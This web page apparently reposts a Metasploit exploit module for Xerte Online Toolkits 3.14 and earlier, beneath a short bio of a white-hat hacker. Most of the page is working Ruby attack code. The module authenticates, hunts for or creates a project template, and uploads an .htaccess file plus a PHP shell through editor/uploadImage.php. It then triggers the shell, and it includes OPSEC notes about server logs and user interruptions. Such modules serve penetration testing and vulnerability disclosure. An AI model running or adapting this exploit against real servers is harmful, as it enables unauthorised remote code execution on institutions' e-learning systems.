Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

Xerte Online Toolkits 3.14 Upload Image Shell Upload
Xerte Online Toolkits 3.14 Upload Image Shell Upload
Xerte Online Toolkits 3.14 Upload Image Shell Upload

##
# This module Xerte Online Toolkits 3.14 Upload Image Shell Upload

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Upload Image',
'Description' => %q{
This module exploits the user template file import function's unrestricted
file upload in versions 3.14 and earlier to upload and execute a shell.
This targets editor/uploadImage.php.
This has only been tested in implementations where the authentication type is "Db".

OPSEC
- if the user is logged in elsewhere, they may experience interruptions
- several requests sent to the server and activity is logged
},
'License' => MSF_LICENSE,
'Author' => [
'Brandon Lester'
],
'References' => [
['URL', 'https://blog.haicen.me/posts/xerte-online-toolkits/'],
['URL', 'https://www.xerte.org.uk/index.php/en/news/blog/80-news/357-xerte-3-13-en-3-14-important-security-update-now-available']
],
'Privileged' => false,
'Targets' => [
[
'PHP', {
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'DisclosureDate' => '2025-08-04',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The path of a xerte installation', '/xerteonlinetoolkits']),
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ])
]
)
end

def login
print_status('Attempting to authenticate...')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/'),
'method' => 'POST',
'vars_post' => {
'login' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
},
'keep_cookies' => true
)

unless (res&.code == 200 || (res&.code == 302 && res.headers['Location'] == 'management.php')) && res.get_cookies.include?('PHPSESSID')
fail_with(Failure::NoAccess, 'Failed to authenticate with the target.')
end
print_good('Authentication successful.')
end

def check
print_status('Performing check')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php')
})
if res&.code == 200
if res.body.include?('No valid language definition found in the file!')
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
return Exploit::CheckCode::Safe
end

def trigger_payload
print_good("Triggering shell at #{@web_path}")
# using for loop with the range
shell_uri = @web_path.gsub(/.*#{target_uri.path}/, '') # gsub(/\.*${target_uri.path()}\/, "")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, shell_uri, 'media', php_filename)
})
end

def upload_payload(my_payload, filename)
# construct the payload and upload
mime = Rex::MIME::Message.new
mime.add_part(my_payload, 'image/png', nil,
%(form-data; name="upload"; filename=#{filename}))

# web path will contain the full address, like `http://127.0.0.1:8180/xerteonlinetoolkits/USER-FILES/3-reguser-Nottingham/` so trim it
mime.add_part(@media_path.gsub(%r{media/$}, ''), nil, nil, 'form-data; name="uploadPath"')
mime.add_part(@web_path.gsub(%r{media/$}, ''), nil, nil, 'form-data; name="uploadURL"')

# mediapath should be something like `/var/www/html/xerteonlinetoolkits/USER-FILES/3-reguser-Nottingham/`
register_file_for_cleanup("#{@media_path}#{php_filename}")
register_file_for_cleanup("#{@media_path}.htaccess")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/editor/uploadImage.php'),
'headers' => { 'Content-Type' => "multipart/form-data; boundary=#{mime.bound}" },
'data' => mime.to_s
)
if res && res.code.to_i == 200 && res.body.include?('Something went wrong while trying to uplod file!')
fail_with(Failure::UnexpectedReply, 'payload was not uploaded.')
end
end

def delete_lockfile(template_id)
# The previous step made a get request to the template, effectively locking it.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'edithtml.php'),
'vars_get' => {
'template_id' => template_id.to_s
},
'vars_post' => {
'lockfile_clear' => 'delete_lockfile'
}

})
html = res.get_html_document
vprint_status("Deleted lockfile for #{template_id}")
variable_block = html.at('[text()*="mediavariable="]').text
parse_template(variable_block)
end

def parse_template(template)
# extract important variables from the template
vprint_status('Parsing template')
template.each_line do |line|
if line && line.include?('mediavariable=')
@media_path = line.split('"')[1]
elsif line && line.include?('rlourlvariable')
@web_path = line.split('"')[1]
elsif line && line.include?('template_id')
@template_id = line.split('"')[1]
elsif line && line.include?('path = "')
line = line.strip
@template_path = line.split('"')[1]
end
end
vprint_status("Found media: #{@media_path}") unless @media_path.blank?
vprint_status("Found web path: #{@web_path}") unless @web_path.blank?
vprint_status("Found template: #{@template_id}") unless @template_id.blank?
end

def find_valid_template
# Iterates template ID's 1-20 to see if any exist and if the user has access.
found_template = false
for template_id in 1..20 do
vprint_line("Checking template ID #{template_id}")
res = send_request_cgi({ # this causes the template to become locked
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/edithtml.php'),
'vars_get' => {
'template_id' => template_id.to_s
}
})
if res&.code == 200
if res.body.to_s.include?('This project is currently locked as it is already being edited by you!')
delete_lockfile(template_id)
found_template = true
print_status("Found mediavariable at #{template_id}")
break
elsif res.body.to_s.include?('Invalid template_id (could not find in DB)')
vprint_line("Template #{template_id} doesn't exist")
elsif res.body.to_s.include?('Permission denied')
vprint_line("Template #{template_id} belongs to someone else")
else
vprint_line("Template ID #{template_id} is not locked")
delete_lockfile(template_id)
found_template = true
print_status("Found mediavariable at #{template_id}")
break
end
else
print_bad("Error with template #{template_id}")
end
end

unless found_template
# If no projects are found, create one
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'templates', 'new_template.php'),
'vars_post' => {
'tutorialid' => 'Nottingham',
'templatename' => 'Nottingham',
'tutorialname' => Rex::Text.rand_text_alpha(8),
'folder_id' => ''
}
})

if res&.code == 200 && !res.body.to_s.include?('FAILED-Failed to create new template record')
# Ensure the project was created
template_id = res.body.to_s.split(',')[0]
print_status("Created template (id: #{template_id})")
delete_lockfile(template_id)
found_template = true
end
end
# If for some reason, the previous project creation failed, it's probably best to create one manually.
fail_with(Failure::NotFound, 'User has no project templates, try logging in and creating one. Also, check whether more than 20 projects are already created.') unless found_template
end

def exploit
login
find_valid_template
# this exploit won't work unless a .htaccess file is also uploaded
upload_payload(htaccess_payload, '.htaccess')
upload_payload(payload.encoded, php_filename)
print_status('Uploaded the PHP Payload file')
trigger_payload
end

def php_filename
@php_filename ||= Rex::Text.rand_text_alpha(8) + '.php'
end

def htaccess_payload
<<~PAYLOAD
<IfModule mod_rewrite.c>
RewriteEngine Off
</IfModule>
PAYLOAD
end
end

Social Media Share